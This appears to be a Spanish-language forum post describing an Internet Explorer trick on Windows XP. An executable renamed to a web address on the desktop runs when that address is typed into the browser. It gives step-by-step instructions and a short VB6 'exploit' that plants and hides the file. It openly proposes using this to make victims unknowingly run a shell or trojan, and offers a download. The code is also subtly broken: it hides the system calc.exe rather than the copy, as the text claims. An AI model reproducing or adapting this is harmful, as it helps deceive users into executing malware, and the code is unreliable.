Internet Explorer: Local program execution !!Hola, aqui voy con un nuevo bug del Internet Explorer (all versions). Ojo que el bug no lo he descubierto yo, leí hace tiempo un advisor en Cyruxnet, yo solo me he dedicado en compilar el exploit.
Bueno, lo primero es saber programar un poquito, yo he codeado el exploit en VB6 (que es muy sencillo), pero se puede hacer en VBS, C, JS incluso en BAT.
Requisitos*- Internet Explorer (cualquier version)
*- Windows Xp Profesional SP2 (full patched)
*- Compilador (da igual C, VB, ..., el que quieras)
¿Que nos permite este bug?Permite falsear el entorno para inducir a una victima a que ejecute un archivo ejecutable sin que se de cuenta
Funcionamiento del bugVamos ha hacer una prueba, primero lo probamos en nuestro PC:
1) Cojemos un ejecutable, por ejemplo: %SystemRoot%\System32\calc.exe
2) Lo copiamos en nuestro escritorio
3) Le cambiamos el nombre de 'calc.exe' -> '
www.msn.es'
4) Abrimos nuestro Internet Explorer
5) Nos situamos en la barra de direciones y ESCRIBIMOS: '
www.msn.es' y pulsamos INTRO
Como veis, se ejecuta la calculadora sin mostrar ningún aviso ni confirmación. Ahora pensando un poquito podemos hacer una pequeña aplicación para falsear el entorno de la victima y conseguir que ejecute nuestros ejecutables (una shell o troyano, por ejemplo).
Programar el exploit para VB6El código que he diseñado yo es el siguiente:
Function ie_exploit()
FileCopy Environ("SYSTEMROOT") & "\System32\calc.exe", Environ("USERPROFILE") & "\Escritorio\www.google.com"
SetAttr Environ("SYSTEMROOT") & "\System32\calc.exe", vbHidden + vbReadOnly + vbSystem
End Function
El código es sencillo, lo que hace es copiar el archivo al escritorio y lo pone de forma oculta para que el usuario no lo vea.
Para quienes no tengan tiempo de programar el exploit y lo querais ver en funcionamiento os dejo el link para que os lo bajeis, ES INOFENSIVO.